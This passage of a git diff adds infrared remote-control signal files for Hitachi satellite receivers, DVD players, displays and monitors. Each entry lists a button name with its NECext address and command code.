00 +command: 7B 00 00 00 +# +name: DSS2_QT6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 7C 00 00 00 +# +name: DSS2_QT7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 7D 00 00 00 +# +name: DSS2_QT8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 7E 00 00 00 +# +name: DSS2_QT9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 7F 00 00 00 +# +name: DSS1_INPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 81 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 82 00 00 00 +# +name: DSS1_CH_^ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 82 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 83 00 00 00 +# +name: DSS1_CH_V +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 83 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 84 00 00 00 +# +name: DSS1_0_(*!/) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 84 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 85 00 00 00 +# +name: DSS1_1_(ABC) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 85 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 86 00 00 00 +# +name: DSS1_2_(DEF) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 86 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 87 00 00 00 +# +name: DSS1_3_(GHI) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 87 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 88 00 00 00 +# +name: DSS1_4_(JKL) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 88 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 89 00 00 00 +# +name: DSS1_5_(MNO) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 89 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8A 00 00 00 +# +name: DSS1_6_(PQR) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8B 00 00 00 +# +name: DSS1_7_(STU) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8C 00 00 00 +# +name: DSS1_8_(VWX) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8D 00 00 00 +# +name: DSS1_9_(YZ) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8D 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8F 00 00 00 +# +name: DSS1_EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 90 00 00 00 +# +name: DSS1_V +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 90 00 00 00 +# +name: FAV_(LIST) +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 91 00 00 00 +# +name: DSS1_FAV +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 91 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 92 00 00 00 +# +name: DSS1_GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 92 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 93 00 00 00 +# +name: DSS1_INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 93 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 94 00 00 00 +# +name: DSS1_< +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 94 00 00 00 +# +name: DSS1_POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 95 00 00 00 +# +name: LAST_CHAN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 96 00 00 00 +# +name: DSS1_LAST_CH +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 96 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 97 00 00 00 +# +name: DSS1_> +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 97 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 98 00 00 00 +# +name: DSS1_SELECT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 98 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 99 00 00 00 +# +name: DSS1_^ +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 99 00 00 00 +# +name: DSS1_SVCS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: E9 00 00 00 +# +name: DSS1_TRIANGLE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: EA 00 00 00 +# +name: DSS1_CIRCLE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: EB 00 00 00 +# +name: DSS1_SQUARE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: EC 00 00 00 +# +name: DSS1_MOVIES +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: ED 00 00 00 +# +name: DSS1_SPORTS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: EE 00 00 00 +# +name: DSS1_NEWS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: EF 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F0 00 00 00 +# +name: DSS1_MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F0 00 00 00 +# +name: DSS1_ALPHA +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F5 00 00 00 +# +name: DSS1_SCHED +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F6 00 00 00 +# +name: DSS1_QT1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F7 00 00 00 +# +name: DSS1_QT2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F8 00 00 00 +# +name: DSS1_QT3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F9 00 00 00 +# +name: DSS1_QT4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: FA 00 00 00 +# +name: DSS1_QT5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: FB 00 00 00 +# +name: DSS1_QT6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: FC 00 00 00 +# +name: DSS1_QT7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: FD 00 00 00 +# +name: DSS1_QT8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: FE 00 00 00 +# +name: DSS1_QT9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir new file mode 100644 index 000000000..a0c31c9b1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: DSS_VOL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: DSS_VOL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: DSS2_MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir new file mode 100644 index 000000000..dfea18096 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CBL_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir new file mode 100644 index 000000000..509e268ed --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir new file mode 100644 index 000000000..b19ef1e71 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_8_(VWX) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: TV_9_(YZ) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: TV_LAST_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: TV_0_(&!/) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: TV_1_(ABC) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: TV_2_(DEF) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: TV_3_(GHI) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: TV_VOL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: TV_VOL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: TV_4_(JKL) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: TV_5_(MNO) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: TV_6_(PQR) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TV_7_(STU) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: TV_SELECT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 33 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: TV_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: TV_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: TV_> +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: TV_< +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir new file mode 100644 index 000000000..5bbe205dc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_8_(VWX) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VCR_9_(YZ) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: VCR_FFW_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR_REW_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR_STOP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: VCR_0_(&!/) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0C 00 00 00 +# +name: VCR_1_(ABC) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0D 00 00 00 +# +name: VCR_2_(DEF) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0E 00 00 00 +# +name: VCR_3_(GHI) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0F 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VCR_4_(JKL) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: VCR_5_(MNO) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VCR_6_(PQR) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR_7_(STU) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: VCR_SELECT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 8B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir new file mode 100644 index 000000000..fd2c5e0f4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir new file mode 100644 index 000000000..2ec38c7a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 80 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 81 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 82 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 83 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 84 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 85 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 86 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 87 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 88 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 89 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8B 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8C 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 8F 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 90 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 91 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 92 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 93 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 94 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 95 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 97 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 98 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 99 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9B 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9D 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9E 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 66 00 00 00 +command: 9F 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A0 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A1 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A2 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A4 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A6 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A7 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A8 00 00 00 +# +name: BOOK_MARK +type: parsed +protocol: NECext +address: 66 00 00 00 +command: A9 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AA 00 00 00 +# +name: 3D +type: parsed +protocol: NECext +address: 66 00 00 00 +command: AB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir new file mode 100644 index 000000000..ca543f53a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: LAST_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir new file mode 100644 index 000000000..5ce9df2e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 56 AB 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir new file mode 100644 index 000000000..bf033ddea --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: VCR_<< +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: VCR_>> +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 10 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 11 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 12 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 13 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 14 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 15 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 16 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 17 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 18 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 34 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 35 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 36 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir new file mode 100644 index 000000000..81a50b212 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir @@ -0,0 +1,542 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: 100_ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: VTR/TV_100 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: VTR/TV_SA +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 08 00 00 00 +# +name: AVX +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: VCR_AVX +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: VTR/TV_AVX +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: LAST_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: VCR_LST-CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: LST-CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: VTR/TV_LST-CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: TV_PREV_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: VCR_RECALL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: VTR/TV_RECALL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: VTR/TV_OFF-TIMER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: VTR/TV_SURROUND +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: VCR_ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 33 00 00 00 +# +name: C.S._(MOUSE) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3C 00 00 00 +# +name: PIPC +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: 